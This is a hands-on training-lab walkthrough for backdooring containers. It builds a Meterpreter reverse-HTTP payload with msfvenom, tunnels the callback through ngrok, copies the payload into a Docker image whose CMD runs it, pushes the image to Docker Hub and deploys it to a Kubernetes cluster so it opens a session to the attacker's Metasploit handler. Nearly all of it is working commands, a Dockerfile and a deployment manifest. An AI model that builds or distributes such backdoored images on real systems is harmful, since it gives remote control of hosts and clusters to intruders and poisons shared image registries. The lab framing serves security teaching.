

Backdooring Containers

Create a backdoored container, which connects to your machine.

Requirements

- ngrok.io account
- Metasploit Framework
- Docker running on your machine

Steps

1. Create a ngrok account
2. Download ngrok to your machine and register the auth token
3. Build Meterpreter payload that executes against your ngrok hostname
4. Run from your machine/VM
5. Build a container that executes the payload from within the container

Walkthrough

Ngrok setup

Setup an ngrok account by registering on their site, downloading the ngrok file and running:

```
./ngrok authtoken <your authtoken>
```

To test if ngrok is working correctly perform the following steps:

```
ngrok http 9999
```

In a new terminal run:

```
python -m 'SimpleHTTPServer' 9999
```

Now open your ngrok link, if all is well you see the directory listing of the directory where the python command is run from.

Close the python webserver but **KEEP NGROK RUNNING**.

Building the backdoor

For this we will use meterpreter and test it locally.

First we will build the backdoor using msfvenom.

Run the following command to create the payload, named payload:

```
msfvenom -p linux/x86/meterpreter_reverse_http LHOST=<ngrok-hostname> LPORT=80 -f elf -o payload
```

For the <ngrok-hostname> insert your hostname *WITHOUT* the http/https prefix, e.g. random1234.ngrok.io.

Make the payload executable: `chmod a+x ./payload`.

In a *new* shell open metasploit console as sudo (`sudo msfconsole`).

set the following:

```
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter_reverse_http
set LPORT 9999
set LHOST 0.0.0.0
exploit -j
```

To test the payload, in the original shell, run `./payload`.

This should create a new session in the ngrok terminal.

In metasploit, connect to the session and check if you can execute commands:

```
msf5> sessions -i 1
```

```
meterpreter> sysinfo
```

If all is well, you get the corresponding output of your system.

Now exit meterpreter and perform `ctrl+C` on the terminal running the payload.

Creating the container

To create the container, create a Dockerfile with the following contents:

```
FROM ubuntu:latest
RUN apt update -y && apt-get install curl wget -y
COPY payload /bin/payload
CMD ["/bin/payload"]
```

Build the image by running: `docker build -t bd-image ..`
This will build the image, named `bd-image`.

NOTE It might be required to run `docker` as `sudo`. This depends on your local `docker` installation.

List the images on your system: `docker image ls`

Note the image ID and start the image: `docker run -it -d <image id>`

In the Metasploit terminal, a new session will connect.

If not, try running `exploit -j`.

List the sessions using `sessions -l` and connect using `sessions -i <session id>`.

If connected successfully, running `sysinfo` in `meterpreter` will output the linux image information.

Clean up

To stop and remove the `docker` container, perform the following:

- List running containers: `docker ps -a`
- Stop container: `docker stop <container name>`
- Remove container: `docker container rm <container id>`

Troubleshooting

If the session does not directly connect when the image spins up, try exiting the Metasploit terminal and opening it again. Setting the following options:

```
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter_reverse_http
set LPORT 9999
set LHOST 0.0.0.0
exploit -j
```

Then spin up a new `Docker` container, using `sudo docker run -it <image ID> /bin/bash`.

This will start with a shell in the container.

If the session is not automatically created in `metasploit`, run `/bin/payload` in the container, this should initiate the payload directly.

Deploying to Kubernetes

Requirements

For this part you need a few additional things:

- DockerHub account (or any other public `Docker` repo, but you're on your own then)
- `kubectl` (<https://kubernetes.io/docs/tasks/tools/install-kubectl/>)
- Kubernetes cluster (will be deployed and provided for you during the course)

If you don't have a Kubernetes cluster somewhere, instructions are provided for creating one using `AWS EKS`.

For this you need:

- An `Azure` account with permissions to deploy an `AKS` resource
- `Az` CLI configured and installed on your local machine
- Deploy a 1-node `AKS` cluster using either the `Azure Portal` or with the following command:
`az aks create --resource-group kube-deploy-lab --name kube-lab --node-count 1 --enable-addons monitoring --generate-ssh-keys`
Note that you can use another resource group or cluster name.

Walkthrough

To deploy a backdoored container to `Kubernetes`, the image must be available from a public container repository. One of the most common repositories is `Dockerhub`.

You need to:

1. Register an account with `Dockerhub`
2. Login on your local machine using `docker login`
3. Push the image to the repository

Run: `docker build -t <your username>/bd-image .`

Then push the image to the repository: `docker push <your username>/bd-image`

For the training, a Kubernetes cluster was deployed and prepared in Azure.

Please perform the following steps:

1. Ensure `az cli` is installed and configured
 1. run `az login` to sign in to your dev Azure account, created for this course
2. Check if `kubectl` is installed on your machine: `kubectl -h`. If not, please install true:
 1. (<https://kubernetes.io/docs/tasks/tools/install-kubectl/>)
 2. OR run `sudo az aks install-cli`
3. Get the kubeconfig file for the deployed cluster by running to following command:
`az aks get-credentials --resource-group kube-deploy-lab --name kube-lab`
This should install the kubeconfig file for you.
4. Check cluster access with `kubectl get nodes`, you might need to sign in/verify you Azure account again.

Now access to the cluster is configured!

Now create a new namespace for you to deploy your container:

```
kubectl create namespace [YOUR NAME]
```

Paste the following in a file `deploy.yaml` (replace `[YOUR NAME]` and `<YOUR DOCKERHUB USERNAME>` with correct values!):

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: bb-demo
  namespace: [YOUR NAME]
spec:
  replicas: 1
  selector:
    matchLabels:
      bb: web
  template:
    metadata:
      labels:
        bb: web
    spec:
      containers:
        - name: bb-site
          image: <YOUR DOCKERHUB USERNAME>/bd-image
---
apiVersion: v1
kind: Service
metadata:
  name: bb-entrypoint
  namespace: [YOUR NAME]
spec:
  type: NodePort
  selector:
    bb: web
  ports:
    - port: 8080
      targetPort: 8080
```

Deploy this to a linked kubernetes cluster using `kubectl`:

```
kubectl apply -f deploy.yaml
```

If succesful, it should state:

```
deployment.apps/bb-demo created service/bb-entrypoint created
```

Once deployed, the payload should execute and connect to your `msfconsole`.

If it does not directly create a session, restart the `msfconsole` or run `exploit -j`.

You can check the status of your container by issuing:

```
kubectl get pods --namespace [your name]
```

Clean up

To remove the deployment from the cluster, run the following command:

```
kubectl delete -f deploy.yaml
```

If you used your own cluster, don't forget to delete it!